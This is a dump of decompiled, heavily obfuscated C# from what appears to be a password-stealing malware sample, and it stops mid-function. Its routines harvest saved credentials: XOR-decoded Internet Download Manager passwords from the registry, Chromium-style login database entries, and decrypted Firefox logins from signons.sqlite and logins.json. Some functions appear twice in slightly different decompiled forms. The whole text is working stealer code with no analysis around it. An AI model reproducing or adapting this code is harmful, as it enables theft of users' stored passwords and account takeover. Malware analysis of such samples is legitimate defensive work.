// Token: 0x06000193 RID: 403 RVA: 0x00033EB4 File Offset: 0x000320B4 public static object lnu() { List<clo> list = new List<clo>(); string text = <Module>.smethod_strings_decryptor(304520 -> "Software\DownloadManager\Passwords\")); IntPtr lmr = new IntPtr(-2147483647); try { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); if (registryKey.GetSubKeyNames().Length != 0) { for (;;) { IL_38C: uint num = 1239005974u; for (;;) { uint num2; byte[] array; int num5; clo clo; string text2; int num6; string text3; byte[] array2; int num9; string[] subKeyNames; int num10; switch ((num2 = (num ^ 590287255u)) % 24u) { case 0u: { int num3 = 0; int num4 = checked(array.Length - 1); num5 = num3; num = (num2 * 3609252376u ^ 3096604675u); continue; } case 1u: clo.cly = text2; num6 = 0; num = (num2 * 3630834902u ^ 1511029545u); continue; case 2u: { text3 = null; int num7 = 0; int num8 = checked(array2.Length - 1); num9 = num7; num = (num2 * 153857659u ^ 2354648626u); continue; } case 3u: { int num8; if (num9 > num8) { num = 713960151u; continue; } goto IL_246; } case 4u: { lpx.lnt.kqz kqz; lpx.lnt.lmo.RegOpenKeyEx(lmr, text + text2, 0, 131097, out kqz); array = new byte[257]; array2 = new byte[257]; num = (num2 * 2795421875u ^ 4252973262u); continue; } case 5u: num = (num2 * 2141172380u ^ 2965419280u); continue; case 6u: goto IL_246; case 7u: { lpx.lnt.kqz kqz = null; num = (num2 * 2348475938u ^ 321438173u); continue; } case 8u: goto IL_21B; case 9u: subKeyNames = registryKey.GetSubKeyNames(); num10 = 0; num = (num2 * 2307255056u ^ 3503809946u); continue; case 10u: checked { num6++; } num = (num2 * 197838284u ^ 3809631753u); continue; case 11u: if (num10 >= subKeyNames.Length) { num = 1071262936u; continue; } goto IL_132; case 12u: goto IL_38C; case 13u: { lpx.lnt.kqz kqz; lpx.lnt.kqz lmq = kqz; string lmz = <Module>.smethod_strings_decryptor(304464 -> "User")); int lno = 0; int num11 = 0; byte[] lnr = array; int num12 = 256; lpx.lnt.lmo.RegQueryValueEx(lmq, lmz, lno, out num11, lnr, ref num12); lpx.lnt.kqz lmq2 = kqz; string lmz2 = <Module>.smethod_strings_decryptor(304568 -> "EncPassword")); int lno2 = 0; num12 = 0; byte[] lnr2 = array2; num11 = 256; lpx.lnt.lmo.RegQueryValueEx(lmq2, lmz2, lno2, out num12, lnr2, ref num11); clo = new clo(); num = (num2 * 2035963795u ^ 1908246769u); continue; } case 14u: goto IL_94; case 15u: checked { num9++; } num = (num2 * 3043363683u ^ 2639571161u); continue; case 16u: goto IL_A6; case 17u: goto IL_132; case 18u: text3 += Conversions.ToString(Strings.ChrW((int)(array2[num9] ^ 15))); num = (num2 * 2139831197u ^ 180194314u); continue; case 19u: clo.clx = <Module>.smethod_strings_decryptor(304640 -> "Internet Download Manager")); list.Add(clo); checked { num10++; } num = (num2 * 4279572731u ^ 4092424813u); continue; case 20u: { int num4; if (num5 > num4) { num = 616502711u; continue; } goto IL_94; } case 21u: clo.clu = Encoding.Default.GetString(array); num6 = 0; num = (num2 * 222858106u ^ 2263229319u); continue; case 22u: checked { num5++; } num = (num2 * 4115706614u ^ 131493447u); continue; } goto Block_9; IL_94: if (array[num5] != 0) { num = 1311888541u; continue; } IL_A6: array = (byte[])Utils.CopyArray((Array)array, new byte[checked(num6 - 1 + 1)]); num = 99206338u; continue; IL_132: text2 = subKeyNames[num10]; registryKey.OpenSubKey(text2); num = 1823432680u; continue; IL_21B: clo.clv = text3; num = 1612067380u; continue; IL_246: if (array2[num9] == 0) { goto IL_21B; } num = 756147885u; } } Block_9:; } } catch (Exception ex) { } return list; }
// Token: 0x06000193 RID: 403 RVA: 0x000340DC File Offset: 0x000322DC public static object lnu() { List <clo> list = new List <clo>(); string text = < Module >.smethod_0(478256); IntPtr lmr = new IntPtr(-2147483647); try { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); for (;;) { IL_370: uint num = 4128337126u; for (;;) { uint num2; int num3; int num5; byte[] array; byte[] array2; clo clo; string text3; switch ((num2 = (num ^ 3712991389u)) % 23u) { case 0u: { int num4; if (num3 > num4) { num = 2969966077u; continue; } goto IL_1F3; } case 1u: if (registryKey.GetSubKeyNames().Length != 0) { num = (num2 * 1782555834u ^ 1046122806u); continue; } break; case 2u: { int num6; if (num5 > num6) { num = 2276034786u; continue; } goto IL_FC; } case 3u: goto IL_2AF; case 5u: { int num7; string[] subKeyNames; if (num7 >= subKeyNames.Length) { num = 2770422741u; continue; } goto IL_2AF; } case 6u: { string text2; registryKey.OpenSubKey(text2); num = (num2 * 3997410593u ^ 2915530034u); continue; } case 7u: goto IL_205; case 8u: checked { int num8; num8++; num3++; } num = (num2 * 1638408552u ^ 1378362657u); continue; case 9u: num = (num2 * 3470714612u ^ 2810379833u); continue; case 10u: goto IL_1F3; case 11u: { string[] subKeyNames = registryKey.GetSubKeyNames(); num = (num2 * 641625967u ^ 2259605635u); continue; } case 12u: { lpx.lnt.kqz kqz; lpx.lnt.kqz lmq = kqz; string lmz = < Module >.smethod_0(478304); int lno = 0; int num9 = 0; byte[] lnr = array; int num10 = 256; lpx.lnt.lmo.RegQueryValueEx(lmq, lmz, lno, out num9, lnr, ref num10); lpx.lnt.kqz lmq2 = kqz; string lmz2 = < Module >.smethod_0(478224); int lno2 = 0; num10 = 0; byte[] lnr2 = array2; num9 = 256; lpx.lnt.lmo.RegQueryValueEx(lmq2, lmz2, lno2, out num10, lnr2, ref num9); clo = new clo(); string text2; clo.cly = text2; num = (num2 * 735497434u ^ 3735129067u); continue; } case 13u: goto IL_10E; case 14u: clo.clx = < Module >.smethod_0(476992); list.Add(clo); num = (num2 * 3604822695u ^ 3722923346u); continue; case 15u: checked { int num7; num7++; } num = (num2 * 2204721836u ^ 3887400302u); continue; case 16u: goto IL_FC; case 17u: text3 += Conversions.ToString(Strings.ChrW((int)(array2[num5] ^ 15))); num = (num2 * 2290783729u ^ 910617624u); continue; case 18u: { int num7 = 0; num = (num2 * 2716112550u ^ 2126820144u); continue; } case 19u: checked { num5++; } num = (num2 * 2507327271u ^ 67225743u); continue; case 20u: { int num8 = 0; int num11 = 0; int num4 = checked (array.Length - 1); num3 = num11; num = (num2 * 1234540403u ^ 153756247u); continue; } case 21u: { lpx.lnt.kqz kqz = null; string text2; lpx.lnt.lmo.RegOpenKeyEx(lmr, text + text2, 0, 131097, out kqz); array = new byte[257]; array2 = new byte[257]; num = (num2 * 4018572833u ^ 3217926603u); continue; } case 22u: goto IL_370; } goto Block_9; IL_FC: if (array2[num5] != 0) { num = 2981449743u; continue; } IL_10E: clo.clv = text3; num = 3076599468u; continue; IL_1F3: if (array[num3] != 0) { num = 2214490078u; continue; } IL_205: checked { int num8; array = (byte[])Utils.CopyArray((Array)array, new byte[num8 - 1 + 1]); clo.clu = Encoding.Default.GetString(array); num8 = 0; text3 = null; int num12 = 0; int num6 = array2.Length - 1; num5 = num12; num = 4276057902u; continue; IL_2AF: int num7; string[] subKeyNames; string text2 = subKeyNames[num7]; num = 4107599508u; } } } Block_9 :; } catch (Exception ex) { } return(list); }
// Token: 0x0600010B RID: 267 RVA: 0x00023B98 File Offset: 0x00021D98 internal static List <clo> clq(string clz, string cmn, string cmo = "logins") { List <clo> list = new List <clo>(); if (!File.Exists(clz)) { return(list); } jwq jwq; try { jwq = new jwq(clz); } catch (Exception ex) { return(list); } if (!jwq.kry(cmo)) { goto IL_51; } goto IL_82; uint num2; for (;;) { IL_56: uint num; switch ((num = (num2 ^ 2142595151u)) % 5u) { case 0u: goto IL_82; case 2u: goto IL_51; case 3u: return(list); case 4u: { string text = string.Empty; num2 = (num * 1357431051u ^ 2030568141u); continue; } } break; } int num3 = 0; int num4 = checked (jwq.ktv() - 1); int num5 = num3; string text2; string text3; for (;;) { if (num5 <= num4) { try { text2 = jwq.kuv(num5, <Module> .smethod_0(575008)); text3 = jwq.kuv(num5, <Module> .smethod_0(574928)); string text = clw.cno(jwq.kuv(num5, <Module> .smethod_0(574976))); if (!string.IsNullOrEmpty(text2)) { for (;;) { IL_1CA: uint num6 = 715850815u; for (;;) { uint num; switch ((num = (num6 ^ 2142595151u)) % 7u) { case 0u: goto IL_1CA; case 1u: if (text != null) { num6 = (num * 605843938u ^ 2372533082u); continue; } break; case 2u: { clo clo = new clo(); clo.cly = text2; num6 = (num * 3435803494u ^ 659907402u); continue; } case 3u: if (!string.IsNullOrEmpty(text3)) { num6 = (num * 3766597328u ^ 13896220u); continue; } break; case 5u: { clo clo; clo.clx = cmn; list.Add(clo); num6 = (num * 4087290826u ^ 2154212212u); continue; } case 6u: { clo clo; clo.clu = text3; clo.clv = text; num6 = (num * 425909484u ^ 3115526566u); continue; } } goto Block_12; } } Block_12 :; } goto IL_257; } catch (Exception ex2) { for (;;) { IL_21A: uint num7 = 623766739u; for (;;) { uint num; switch ((num = (num7 ^ 2142595151u)) % 3u) { case 0u: goto IL_21A; case 2u: num7 = (num * 573121255u ^ 2921456160u); continue; } goto Block_14; } } Block_14: goto IL_257; } goto IL_223; IL_257: checked { num5++; goto IL_223; } } int num8 = 910093598; IL_228: switch ((num8 ^ 2142595151) % 4) { case 1: return(list); case 2: continue; case 3: IL_223: num8 = 1480378429; goto IL_228; } break; } List <clo> result; return(result); IL_51: num2 = 2095154105u; goto IL_56; IL_82: text2 = string.Empty; text3 = string.Empty; num2 = 1368682630u; goto IL_56; }
// Token: 0x0600010B RID: 267 RVA: 0x000239BC File Offset: 0x00021BBC internal static List<clo> clq(string clz, string cmn, string cmo = "logins") { List<clo> list = new List<clo>(); if (!File.Exists(clz)) { return list; } jwq jwq; try { jwq = new jwq(clz); } catch (Exception ex) { return list; } if (jwq.kry(cmo)) { goto IL_64; } IL_37: int num = 1270842645; IL_3C: switch ((num ^ 1908089068) % 4) { case 0: { IL_64: string text = string.Empty; num = 1978624386; goto IL_3C; } case 1: return list; case 3: goto IL_37; } string text2 = string.Empty; string text3 = string.Empty; int num2 = 0; int num3 = checked(jwq.ktv() - 1); int num4 = num2; for (;;) { if (num4 <= num3) { try { string text = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320624 -> "origin_url"))); text2 = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320600 -> "username_value"))); text3 = clw.cno(jwq.kuv(num4, <Module>.smethod_strings_decryptor(320672 -> "password_value")))); if (!string.IsNullOrEmpty(text)) { for (;;) { IL_1B7: uint num5 = 1650759195u; for (;;) { uint num6; switch ((num6 = (num5 ^ 1908089068u)) % 7u) { case 0u: { clo clo; clo.clx = cmn; num5 = (num6 * 2319934876u ^ 2323269452u); continue; } case 1u: { clo clo = new clo(); clo.cly = text; clo.clu = text2; clo.clv = text3; num5 = (num6 * 1239049928u ^ 2158681576u); continue; } case 2u: if (text3 != null) { num5 = (num6 * 2481761736u ^ 964362803u); continue; } break; case 3u: { clo clo; list.Add(clo); num5 = (num6 * 879716646u ^ 2833252949u); continue; } case 5u: if (!string.IsNullOrEmpty(text2)) { num5 = (num6 * 2064738247u ^ 1166676366u); continue; } break; case 6u: goto IL_1B7; } goto Block_11; } } Block_11:; } goto IL_244; } catch (Exception ex2) { for (;;) { IL_207: uint num7 = 1239167220u; for (;;) { uint num6; switch ((num6 = (num7 ^ 1908089068u)) % 3u) { case 1u: num7 = (num6 * 3398486821u ^ 2647820122u); continue; case 2u: goto IL_207; } goto Block_13; } } Block_13: goto IL_244; } goto IL_210; IL_244: checked { num4++; goto IL_210; } } int num8 = 442132939; IL_215: switch ((num8 ^ 1908089068) % 4) { case 0: IL_210: num8 = 1592328438; goto IL_215; case 2: continue; case 3: return list; } break; } List<clo> result; return result; }
// Token: 0x06000173 RID: 371 RVA: 0x0003080C File Offset: 0x0002EA0C public static List<clo> jkl(string jkm, string jkn) { List<clo> list = new List<clo>(); for (;;) { IL_A7: uint num = 3994806019u; for (;;) { uint num2; switch ((num2 = (num ^ 3279137713u)) % 5u) { case 0u: goto IL_A7; case 1u: { string text = jkm + <Module>.smethod_strings_decryptor(289536 -> "signons.sqlite")); if (File.Exists(text)) { num = (num2 * 2963114273u ^ 1936167517u); continue; } return list; } case 2u: if (jox.hls.hou(jkm) == null) { num = (num2 * 3755269175u ^ 4274660725u); continue; } goto IL_AE; case 3u: { string text2 = string.Empty; string text3 = string.Empty; string text4 = string.Empty; num = (num2 * 1123653911u ^ 1233408905u); continue; } } goto Block_3; } } Block_3: return list; jwq jwq; try { IL_AE: string text; jwq = new jwq(text); } catch (Exception ex) { return list; } if (jwq.kry(<Module>.smethod_strings_decryptor(289512 -> "moz_logins")))) { goto IL_10F; } IL_DF: int num3 = -574263533; IL_E4: jox.hjl hjl; int num5; int num6; switch ((num3 ^ -1015829583) % 4) { case 0: goto IL_DF; case 2: return list; case 3: { IL_10F: hjl = new jox.hjl(); int num4 = 0; num5 = checked(jwq.ktv() - 1); num6 = num4; num3 = -1153896364; goto IL_E4; } } List<clo> result; for (;;) { if (num6 <= num5) { try { string text2 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289584 -> "hostname"))); string text3 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289560 -> "encryptedUsername"))); string text4 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289120 -> "encryptedPassword"))); if (!string.IsNullOrEmpty(text2)) { for (;;) { IL_38E: uint num7 = 2389638383u; for (;;) { uint num2; switch ((num2 = (num7 ^ 3279137713u)) % 10u) { case 0u: { jox.hjz hjz = hjl.hjm(Convert.FromBase64String(text4)); num7 = (num2 * 316590178u ^ 1711896903u); continue; } case 1u: { jox.hjz hjz2; byte[] hlr = hjz2.hlp[0].hlp[1].hlp[1].hlr; num7 = (num2 * 2147355450u ^ 881220567u); continue; } case 2u: if (!string.IsNullOrEmpty(text3)) { num7 = (num2 * 1490760102u ^ 1341603426u); continue; } break; case 3u: if (text4 != null) { num7 = (num2 * 3002477722u ^ 1906451362u); continue; } break; case 4u: { jox.hjz hjz2; byte[] hlr2 = hjz2.hlp[0].hlp[2].hlr; byte[] hlr; string input = jox.jlx.jmw(hlr2, jox.hls.jly, hlr); num7 = (num2 * 3303802837u ^ 1744781663u); continue; } case 5u: { string input; clo clo; clo.clu = Regex.Replace(input, <Module>.smethod_strings_decryptor(289224 -> "[^\u0020-\u007F]")), ""); string input2; clo.clv = Regex.Replace(input2, <Module>.smethod_strings_decryptor(289168 -> "[^\u0020-\u007F]")), ""); clo.clx = jkn; list.Add(clo); num7 = (num2 * 3707522447u ^ 568229492u); continue; } case 7u: { jox.hjz hjz2 = hjl.hjm(Convert.FromBase64String(text3)); num7 = (num2 * 2721528952u ^ 2943016820u); continue; } case 8u: { jox.hjz hjz; byte[] hlr3 = hjz.hlp[0].hlp[1].hlp[1].hlr; byte[] hlr4 = hjz.hlp[0].hlp[2].hlr; string input2 = jox.jlx.jmw(hlr4, jox.hls.jly, hlr3); clo clo = new clo(); clo.cly = text2; num7 = (num2 * 3455639722u ^ 2161671336u); continue; } case 9u: goto IL_38E; } goto Block_13; } } Block_13:; } } catch (Exception ex2) { result = list; break; } checked { num6++; goto IL_3AD; } } int num8 = -1889264911; IL_3B2: switch ((num8 ^ -1015829583) % 4) { case 0: return list; case 1: continue; case 2: IL_3AD: num8 = -1281840040; goto IL_3B2; } break; } return result; }
// Token: 0x06000172 RID: 370 RVA: 0x00030398 File Offset: 0x0002E598 public static List<clo> htq(string htz, string huv) { List<clo> list = new List<clo>(); string text = string.Empty; string text2 = string.Empty; for (;;) { IL_458: uint num = 143559863u; for (;;) { uint num2; MatchCollection matchCollection; int num5; switch ((num2 = (num ^ 1283752682u)) % 27u) { case 0u: goto IL_458; case 1u: if (jox.hls.hou(htz) == null) { num = (num2 * 4199789408u ^ 3671497395u); continue; } goto IL_F7; case 2u: goto IL_CF; case 3u: if (File.Exists(htz + <Module>.smethod_strings_decryptor(289752 -> "logins.json")))) { num = (num2 * 2749157075u ^ 218456644u); continue; } break; case 4u: { clo clo; string input; clo.clu = Regex.Replace(input, <Module>.smethod_strings_decryptor(289360 -> "[^\u0020-\u007F]")), ""); num = (num2 * 3957986770u ^ 320156090u); continue; } case 5u: if (!string.IsNullOrEmpty(text2)) { num = (num2 * 948655176u ^ 542869367u); continue; } goto IL_CF; case 6u: { jox.hjz hjz; byte[] hlr = hjz.hlp[0].hlp[1].hlp[1].hlr; num = (num2 * 3162808114u ^ 4031816473u); continue; } case 7u: { int num3 = 0; int num4 = checked(matchCollection.Count - 1); num5 = num3; num = (num2 * 287096689u ^ 4209580349u); continue; } case 8u: { jox.hjz hjz2; byte[] hlr2 = hjz2.hlp[0].hlp[1].hlp[1].hlr; num = (num2 * 2104338106u ^ 854792293u); continue; } case 9u: { jox.hjz hjz2; byte[] hlr3 = hjz2.hlp[0].hlp[2].hlr; num = (num2 * 57452780u ^ 2937963959u); continue; } case 10u: { jox.hjz hjz; byte[] hlr4 = hjz.hlp[0].hlp[2].hlr; num = (num2 * 490132721u ^ 1047235893u); continue; } case 11u: { jox.hjl hjl; string text3; jox.hjz hjz2 = hjl.hjm(Convert.FromBase64String(text3)); num = (num2 * 974635847u ^ 517435710u); continue; } case 12u: { clo clo; clo.clx = huv; list.Add(clo); num = (num2 * 1292623019u ^ 1619692613u); continue; } case 13u: num = (num2 * 3249150190u ^ 444445435u); continue; case 14u: { byte[] hlr; byte[] hlr4; string input = jox.jlx.jmw(hlr4, jox.hls.jly, hlr); num = (num2 * 4035779281u ^ 3812713976u); continue; } case 15u: { byte[] hlr2; byte[] hlr3; string input2 = jox.jlx.jmw(hlr3, jox.hls.jly, hlr2); clo clo = new clo(); clo.cly = text; num = (num2 * 1463891629u ^ 2819575605u); continue; } case 16u: { jox.hjl hjl; jox.hjz hjz = hjl.hjm(Convert.FromBase64String(text2)); num = (num2 * 542597597u ^ 1899075976u); continue; } case 17u: goto IL_6A; case 18u: return list; case 19u: { clo clo; string input2; clo.clv = Regex.Replace(input2, <Module>.smethod_strings_decryptor(289464 -> "[^\u0020-\u007F]")), ""); num = (num2 * 3052459861u ^ 613074959u); continue; } case 20u: goto IL_F7; case 21u: { string text3; if (text3 != null) { num = (num2 * 2537662226u ^ 3622468865u); continue; } goto IL_CF; } case 22u: { int num4; if (num5 > num4) { num = 952477113u; continue; } goto IL_6A; } case 23u: return list; case 25u: { Regex regex; string input3; matchCollection = regex.Matches(input3); jox.hjl hjl = new jox.hjl(); num = (num2 * 2087540451u ^ 2812231072u); continue; } case 26u: { string text3 = string.Empty; num = (num2 * 1323285166u ^ 1874305051u); continue; } } goto Block_7; IL_6A: text = matchCollection[num5].Groups[2].Value; checked { text2 = matchCollection[num5 + 1].Groups[2].Value; string text3 = matchCollection[num5 + 2].Groups[2].Value; if (!string.IsNullOrEmpty(text)) { num = 482675105u; continue; } IL_CF: num5 += 3; num = 1707336643u; continue; IL_F7: string input3 = File.ReadAllText(htz + <Module>.smethod_strings_decryptor(289824 -> "logins.json"))); Regex regex = new Regex(<Module>.smethod_strings_decryptor(289416 -> "\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)""))); num = 1586532041u; } } } Block_7: return list; }
// Token: 0x0600014D RID: 333 RVA: 0x0002DC14 File Offset: 0x0002BE14 internal static List<clo> gmr(string gms) { string input = File.ReadAllText(gms); List<clo> list = new List<clo>(); clo clo = new clo(); string input2 = Regex.Split(input, <Module>.smethod_strings_decryptor(291176 -> "<array>")))[1];